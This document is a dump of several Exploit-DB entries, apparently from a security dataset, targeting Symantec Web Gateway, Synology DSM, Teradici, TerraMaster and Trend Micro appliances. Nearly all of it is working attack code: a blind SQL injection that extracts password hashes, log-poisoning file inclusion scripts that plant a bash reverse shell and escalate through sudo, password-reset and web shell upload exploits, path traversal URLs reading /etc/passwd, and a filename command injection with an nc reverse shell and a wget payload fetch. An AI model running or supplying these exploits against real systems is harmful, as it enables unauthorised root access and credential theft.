deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20038
Description: Symantec Web Gateway 5.0.2 - 'blocked.php?id' Blind SQL Injection
Type: webapps
Platform: linux
Date: 2012-07-23
Author: muts

Exploit:
#!/usr/bin/python

######################################################################################
# Exploit Title: Symantec Web Gateway 5.0.2 (blocked.php id parameter) Blind SQL Injection
# Date: Jul 23 2012
# Author: muts
# Version: Symantec Web Gateway 5.0.2
# Vendor URL: http://www.symantec.com
#
# Timeline:
#
# 29 May 2012: Vulnerability reported to CERT
# 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 26 Jun 2012: Email received from Symantec for additional information
# 26 Jun 2012: Additional proofs of concept sent to Symantec
# 06 Jul 2012: Update received from Symantec with intent to fix
# 20 Jul 2012: Symantec patch released: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00
# 23 Jul 2012: Public Disclosure
#
######################################################################################

import urllib
import time
import sys
from time import sleep

# Set your timing variable. A minimum value of 200 (2 seconds) was tested on localhost.
# This might need to be higher on production systems.

timing=300

def check_char(i,j,timing):

	url = 	("https://172.16.254.111/spywall/blocked.php?d=3&file=3&id=1)" +
		" or 1=(select IF(conv(mid((select password from users),%s,1),16,10) "+
		"= %s,BENCHMARK(%s,rand()),11) LIMIT 1&history=-2&u=3") % (j,i,timing)
	start=time.time()
	urllib.urlopen(url)
	end =time.time()
	howlong=int(end-start)
	return howlong

counter=0
startexploit=time.time()
print "[*] Symantec \"Wall of Spies\" hash extractor"
print "[*] Time Based SQL injection, please wait..."
sys.stdout.write("[*] Admin hash is : ")
sys.stdout.flush()

for m in range(1,33):
	for n in range(0,16):
		counter= counter+1
		output = check_char(n,m,timing)
		if output > ((timing/100)-1):
			byte =hex(n)[2:]
			sys.stdout.write(byte)
			sys.stdout.flush()
			break
endexploit=time.time()
totalrun=str(endexploit-startexploit)
print "\n[*] Total of %s queries in %s seconds" % (counter,totalrun)
Exploit-DB #18932
Description: Symantec Web Gateway 5.0.2 - Local/Remote File Inclusion / Remote Code Execution
Type: webapps
Platform: linux
Date: 2012-05-26
Author: muts

Exploit:
#!/usr/bin/python

# Symantec Web Gateway 5.0.2 Remote LFI root Exploit Proof of Concept
# Exploit requires no authentication, /tmp/networkScript is sudoable and apache writable.
# muts at offensive-security dot com


import socket
import base64

payload= '''echo '#!/bin/bash' > /tmp/networkScript; echo 'bash -i >& /dev/tcp/172.16.164.1/1234 0>&1' >> /tmp/networkScript;chmod 755 /tmp/networkScript; sudo /tmp/networkScript'''
payloadencoded=base64.encodestring(payload).replace("\n","")
taint="GET /<?php shell_exec(base64_decode('%s'));?> HTTP/1.1\r\n\r\n" % payloadencoded

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.164.129", 80))
expl.send(taint)
expl.close()

trigger="GET /spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log HTTP/1.0\r\n\r\n"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.164.129", 80))
expl.send(trigger)
expl.close()
Exploit-DB #19406
Description: symantec Web gateway 5.0.2.8 - Multiple Vulnerabilities
Type: webapps
Platform: linux
Date: 2012-06-27
Author: S2 Crew

Exploit:
Software: Symantec Web Gateway
Current Software Version: 5.0.2.8
Product homepage: www.symantec.com
Author: S2 Crew [Hungary]
CVE: CVE-2012-0297, CVE-2012-0298, ???

File include:
        https://192.168.82.207/spywall/previewProxyError.php?err=../../../../../../../../etc/passwd

File include and OS command execution:
        http://192.168.82.207/spywall/releasenotes.php?relfile=../../../../../../etc/passwd
        You can execute OS commands just include the error_log:
        /usr/local/apache2/logs/
        -rw-r--r--   1 root   root  5925 Nov 15 07:25 access_log
        -rw-r--r--   1 root   root  3460 Nov 15 07:21 error_log

        Make a connection to port 80:
        <?php
        $f = fopen('/var/www/html/spywall/cleaner/cmd.php','w');
        $cmd = "<?php system(\$_GET['cmd']); ?>";
        fputs($f,$cmd);
        fclose($f);
		print "Shell creation done<br>";
        ?>

Arbitary file download and delete:
        https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog
	d parameter: the complete filename 
        After the download process application removes the original file with root access! :)

        Command execution methods:
        1.Method
        Download and delete the /var/www/html/ciu/.htaccess file.
        After it you can access the ciu interface on web.
        There is an upload script: /ciu/uploadFile.php
	User can control the filename and the upload location:
        $_FILES['uploadFile'];
        $_POST['uploadLocation'];

        2.Method
        <form action="https://192.168.82.192/ciu/remoteRepairs.php" method="POST" enctype="multipart/form-data">
        <input type="file" name="uploadFile">
        <input type="text" name="action" value="upload">
        <input type="text" name="uploadLocation" value="/var/www/html/spywall/cleaner/">
        <input type="hidden" name="configuration" value="test">
        <input type="submit" value="upload!">
        </form>
	
	The "/var/www/html/spywall/cleaner" is writeable by www-data.

Command execution after authentication:

        http://192.168.82.207/spywall/adminConfig.php (this is deprecated config file, it should be remove)

        From the modified POST message:
        Content-Disposition: form-data; name="pingaddress"
        127.0.0.1`whoami>/tmp/1234.txt`
Exploit-DB #20707
Description: Symantec Web Gateway 5.0.3.18 - Arbitrary Password Change
Type: webapps
Platform: linux
Date: 2012-08-21
Author: Kc57

Exploit:
#!/usr/bin/python

import urllib
import urllib2
import re
import sys

print "[*] ###########################################################"
print "[*] Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change"
print "[*] @_Kc57"
print "[*] ###########################################################\n"


if (len(sys.argv) != 4):
	print "Usage: poc.py <RHOST> <username> <newpassword>"
	exit(0)

ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

url = "https://%s/spywall/temppassword.php" % (ip)

opts = {
	'target':'executive_summary.php',
	'USERNAME':username,
	'password':password,
	'password2':password,
	'Save':'Save'
}

print "[*] Sending request to server..."

data = urllib.urlencode(opts)
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)

match = re.search('Your new password has been saved', response.read())

if(match):
	print "[*] Password for %s changed to %s" %(username,password)
else:
	print "[*] Password change failed!"
Exploit-DB #20706
Description: Symantec Web Gateway 5.0.3.18 - Arbitrary Password Change (Metasploit)
Type: webapps
Platform: linux
Date: 2012-08-21
Author: Kc57

Exploit:
##
# @_Kc57
# Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change",
			'Description'    => %q{
					This module will change the password for the specified account on a Symantec Web Gatewaye server.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 0 $",
			'Author'         =>
				[
					'Kc57',
				],
			'References'     =>
				[
					[ 'CVE', '2012-2977' ],
					[ 'OSVDB', '0' ],
					[ 'BID', '54430' ],
					[ 'URL', 'https://www.securityfocus.com/bid/54430' ],
				],
			'DisclosureDate' => "Jul 23 2012" ))

			register_options(
				[
					Opt::RPORT(80),
					OptString.new('USER', [ true, 'The password to reset to', 'admin']),
					OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
				], self.class)
	end

	def run

		print_status("Attempting to connect to https://#{rhost}/spywall/temppassword.php to reset password")
		res = send_request_raw(
		{
			'method'  => 'POST',
			'uri'     => '/spywall/temppassword.php',
		}, 25)

		#check to see if we get HTTP OK
		if (res.code == 200)
			print_status("Okay, Got an HTTP 200 (okay) code. Checking if exploitable")
		else
			print_error("Did not get HTTP 200, URL was not found. Exiting!")
			return
		end

		#Check to if the temppassword.php page loads or if we are redirected to the login page
		if (res.body.match(/Please Select a New Password/i))
			print_status("Server is vulnerable!")
		else
			print_error("Target doesn't seem to be vulnerable!")
			return
		end

		print_status("Attempting to exploit password change vulnerability on #{rhost}")
		print_status("Attempting to reset #{datastore['USER']} password to #{datastore['PASSWORD']}")

		data  = 'target=executive_summary.php'
		data << '&USERNAME=' + datastore['USER']
		data << '&password=' + datastore['PASSWORD']
		data << '&password2=' + datastore['PASSWORD']
		data << '&Save=Save'

		res = send_request_cgi(
		{
			'method'  => 'POST',
			'uri'     => '/spywall/temppassword.php',
			'data'    => data,
		}, 25)

		if res.code == 200
			if (res.body.match(/Thank you/i))
				print_status("Password reset was successful!\n")
			else
				print_error("Password reset failed! User '#{datastore['USER']}' may not exist.\n")
			end
		else
			print_error("Password reset failed!")
		end
	end

end
Exploit-DB #20064
Description: Symantec Web Gateway 5.0.3.18 - Local/Remote File Inclusion / Remote Command Execution
Type: webapps
Platform: linux
Date: 2012-07-24
Author: muts

Exploit:
#!/usr/bin/python

'''

The original patch for the Symantec Web Gateway 5.0.2 LFI vulnerability removed the
/tmp/networkScript file but left the entry in /etc/sudoers, allowing us to simply
recreate the file and obtain a root shell using a different LFI vulnerability.

Timeline:

# 06 Jun 2012: Vulnerability reported to CERT
# 08 Jun 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 26 Jun 2012: Email received from Symantec for additional information
# 26 Jun 2012: Additional proofs of concept sent to Symantec
# 06 Jul 2012: Update received from Symantec with intent to fix
# 20 Jul 2012: Symantec patch released: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00
# 23 Jul 2012: Public Disclosure

'''

import socket
import sys
import base64

print "[*] #########################################################"
print "[*] Symantec Web Gateway 5.0.3.18 LFI Remote ROOT RCE Exploit"
print "[*] Offensive Security - http://www.offensive-security.com"
print "[*] #########################################################\n"

if (len(sys.argv) != 4):
	print "[*] Usage: symantec-web-gateway-0day.py <RHOST> <LHOST> <LPORT>"
	exit(0)

rhost = str(sys.argv[1])
lhost = sys.argv[2]
lport = sys.argv[3]

# Base64 encoded bash reverse shell
# Payload does sudo-fu abuse of sudoable /tmp/networkScript with apache:apache permissions

payload= '''echo '#!/bin/bash' > /tmp/networkScript; echo 'bash -i >& /dev/tcp/'''+lhost+'/' + lport 
payload+=''' 0>&1' >> /tmp/networkScript;chmod 755 /tmp/networkScript; sudo /tmp/networkScript'''
payloadencoded=base64.encodestring(payload).replace("\n","")

taint="GET /<?php shell_exec(base64_decode('%s'));?> HTTP/1.1\r\n\r\n" % payloadencoded
trigger="GET /spywall/languageTest.php?&language=../../../../../../../../usr/local/apache2/logs/access_log%00 HTTP/1.0\r\n\r\n"

print "[*] Super Sudo Backdoor injection, w00t"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect((rhost, 80))
expl.send(taint)
expl.close()

print "[*] Triggering Payload ...3,2,1 "
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect((rhost, 80))
expl.send(trigger)
expl.close()
print "[*] Can you haz shell on %s %s ?\n" % (lhost,lport)
Exploit-DB #45073
Description: Synology DiskStation Manager 4.1 - Directory Traversal
Type: webapps
Platform: linux
Date: 2018-07-23
Author: Berk Dusunur

Exploit:
# Exploit Title: Synology DiskStation Manager 4.1 - Directory Traversal
# Google Dork: N/A
# Date: 2018-07-21
# Exploit Author: Berk Dusunur
# Vendor Homepage: https://www.synology.com
# Software Link: https://www.synology.com
# Version: v4.1
# Tested on: Parrot OS
# CVE : N/A

# PoC

http://target:8888/scripts/uistrings.cgi?lang=.////////////////////////////////////////////////////////////////////////////////////////../../../../../etc/synoinfo.conf
Exploit-DB #41437
Description: Teradici Management Console 2.2.0 - Privilege Escalation
Type: webapps
Platform: linux
Date: 2017-02-22
Author: hantwister

Exploit:
# Exploit Title: Teradici Management Console 2.2.0 - Web Shell Upload and Privilege Escalation
# Date: February 22nd, 2017
# Exploit Author: hantwister
# Vendor Homepage: http://www.teradici.com/products-and-solutions/pcoip-products/management-console
# Software Link: https://techsupport.teradici.com/ics/support/DLRedirect.asp?fileID=63583 (login required)
# Version: 2.2.0


Users that can access the Settings > Database Management page can achieve code
execution as root on older versions of PCoIP MC 2.x. (Based on CentOS 7 x64)


Web Shell Upload Vulnerability Overview
---------------------------------------

Database archives are extracted under /opt/jetty/tmpdeploy. By creating a
malicious archive with a malicious web script that extracts to the known
directory /opt/jetty/tmpdeploy/jetty-0.0.0.0-8080-console.war-_console-any-
it is possible to add or modify class files and XML files pertaining to the
application.


Privilege Escalation Vulnerability Overview
-------------------------------------------

The jetty user owns the file /opt/jetty/jetty_self_restart.sh, and the same user
has sudo rights to run that file without a password. By manipulating this file,
arbitrary code can be run as root.


Exploiting The Vulnerabilities
------------------------------

alice:~$ mkdir -p runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images
alice:~$ cd runasroot
alice:~/runasroot$ msfvenom (snip) > evil
alice:~/runasroot$ chmod a+x evil
alice:~/runasroot$ nano modify_self_restart.sh

#!/bin/bash
echo /tmp/evil >> /opt/jetty/jetty_self_restart.sh

alice:~/runasroot$ chmod a+x modify_self_restart.sh
alice:~/runasroot$ cd jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images
alice:~/runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images$ nano runasroot.gsp

<html>
<head>
<title>runasroot</title>
</head>
<body>
<pre>
<% out << "cp /opt/jetty/tmpdeploy/evil /tmp/".execute().text %>
<% out << "/opt/jetty/tmpdeploy/modify_self_restart.sh".execute().text %>
<% out << "sudo /opt/jetty/jetty_self_restart.sh".execute().text %>
</pre>
</body>
</html>

alice:~/runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images$ cd ../../..
alice:~/runasroot$ tar -zcf runasroot.tar.gz evil modify_self_restart.sh jetty-0.0.0.0-8080-console.war-_console-any-
alice:~/runasroot$ openssl enc -e -aes-256-cbc -salt -in runasroot.tar.gz -out runasroot.archive -pass pass:4400Dominion -p

Now, choose to upload runasroot.archive through the Database Management page. An
error will be displayed that it wasn't a valid archive. Now, navigate to
https://IP/console/images/runasroot.gsp
Exploit-DB #49321
Description: TerraMaster TOS 4.2.06 - RCE (Unauthenticated)
Type: webapps
Platform: linux
Date: 2020-12-22
Author: IHTeam

Exploit:
# Exploit Title: TerraMaster TOS 4.2.06 - RCE (Unauthenticated)
# Date: 12/12/2020
# Exploit Author: IHTeam
# Full Write-up: https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
# Vendor Homepage: https://www.terra-master.com/
# Version: <= 4.2.06
# Tested on: 4.1.30, 4.2.06

#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description="TerraMaster TOS <= 4.2.06 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8081/")
args = parser.parse_args()

url = args.url
headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}
epoch_time = int(time.time())
shell_filename = "debug"+str(epoch_time)+".php"

def check_endpoint(url, headers):
	response = requests.get(url+'/version', headers=headers, verify=False)
	if response.status_code == 200:
		print("[+] TerraMaster TOS version: ", str(response.content))
	else:
		print("\n[-] TerraMaster TOS response code: ", response.status_code)
		sys.exit()
		
def upload_shell(url, headers, shell_filename):
	payload = "http|echo \"<?php echo(passthru(\\$_GET['cmd']));?>\" >> /usr/www/"+shell_filename+" && chmod +x /usr/www/"+shell_filename+"||"
	payload = urllib.parse.quote(payload, safe='')
	print("[/] Uploading shell...")
	response = requests.get(url+'/include/makecvs.php?Event='+payload, headers=headers, verify=False)
	time.sleep(1)
	response = requests.get(url+'/'+shell_filename+'?cmd=id', headers=headers, verify=False)
	if ('uid=0(root) gid=0(root)' in str(response.content, 'utf-8')):
		print("[+] Upload succeeded")
	else:
		print("\n[-] Error uploading shell: ", response.content)
		sys.exit()

def interactive_shell(url, headers, shell_filename, cmd):
	response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(cmd, safe=''), headers=headers, verify=False)
	print(str(response.text)+"\n")


def delete_shell(url, headers, shell_filename):
	delcmd = "rm /usr/www/"+shell_filename
	response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(delcmd, safe=''), headers=headers, verify=False)
	print("\n[+] Shell deleted")

check_endpoint(url, headers)
upload_shell(url, headers, shell_filename)
try:
	while True:
		cmd = input("# ")
		interactive_shell(url, headers, shell_filename, cmd)
except:
	delete_shell(url, headers, shell_filename)
Exploit-DB #42975
Description: Trend Micro Data Loss Prevention Virtual Appliance 5.2 - Path Traversal
Type: webapps
Platform: linux
Date: 2017-10-11
Author: Leonardo Duarte

Exploit:
# Exploit Title: Trend Micro Data Loss Prevention Virtual Appliance 5.2 Web Path Traversal
# Date: 10/11/2017
# Exploit Author: Leonardo Duarte
# Contact: http://twitter.com/etakdc
# Vendor Homepage: http://la.trendmicro.com/la/productos/data-loss-prevention/
# Version: 5.2
# Tested on: Debian 9
# Category: webapps

1. Description
   
A path traversal vulnerability that can be exploited to read files outside of the web root using encoded dot and slash characters

2. Proof of Concept
 
https://ip:8443/dsc/%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AFetc%C0%AFpasswd

https://ip:8443/dsc/%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AFbin%C0%AFash

https://ip/dsc/%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AFhome%C0%AFdgate%C0%AFiptables

Then the file will be visible
Exploit-DB #40180
Description: Trend Micro Deep Discovery 3.7/3.8 SP1 (3.81)/3.8 SP2 (3.82) - 'hotfix_upload.cgi' Filename Remote Code Execution
Type: webapps
Platform: linux
Date: 2016-07-29
Author: korpritzombie

Exploit:
Version: TDA 2.6.1062r1

Summary:

The hotfix_upload.cgi file contains a flaw allowing a user to execute commands under the context of the root user.

Details:

The hotfix_upload.cgi file is used to upload files (hot fixes). Below is a sample of the upload function being used:

POST /cgi-bin/hotfix_upload.cgi?sID=hotfix_temp HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: https://<server IP>/cgi-bin/hotfix_history.cgi
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: multipart/form-data; boundary=—————————7e[PII_REDACTED]
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: <server IP>
Content-Length: 206
Connection: close
Cache-Control: no-cache
Cookie: session_id=

—————————–7e[PII_REDACTED]
Content-Disposition: form-data; name=”ajaxuploader_file”; filename=”test.txt”
Content-Type: text/plain

a
—————————–7e[PII_REDACTED]–

The actual injection takes place in the name of the file being uploaded (ie. filename=”test.txt&id”). By performing the following request, system information is sent back in the response:

http://www.korpritzombie.com/wp-content/uploads/2016/07/1.png

This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) commands are possible.

Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user using this method to retrieve the /etc/passwd file (NOTE: `echo $PATH | cut -c1` will print ‘/‘ to the final command):

http://www.korpritzombie.com/wp-content/uploads/2016/07/2.png

Now the attacker has the ability to create a shell by uploading a file containing the following (where [ip address] is your receiving machine):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f

To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget:

test.txt&wget http:`echo $PATH | cut -c1“echo $PATH | cut -c1`[ip]`echo $PATH | cut -c1`shell

Once the file has been uploaded (it will be placed in /opt/TrendMicro/MinorityReport/www/cgi-bin), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root:

test.xml&chmod a+x shell

test.xml&.`echo $PATH | cut -c1`shell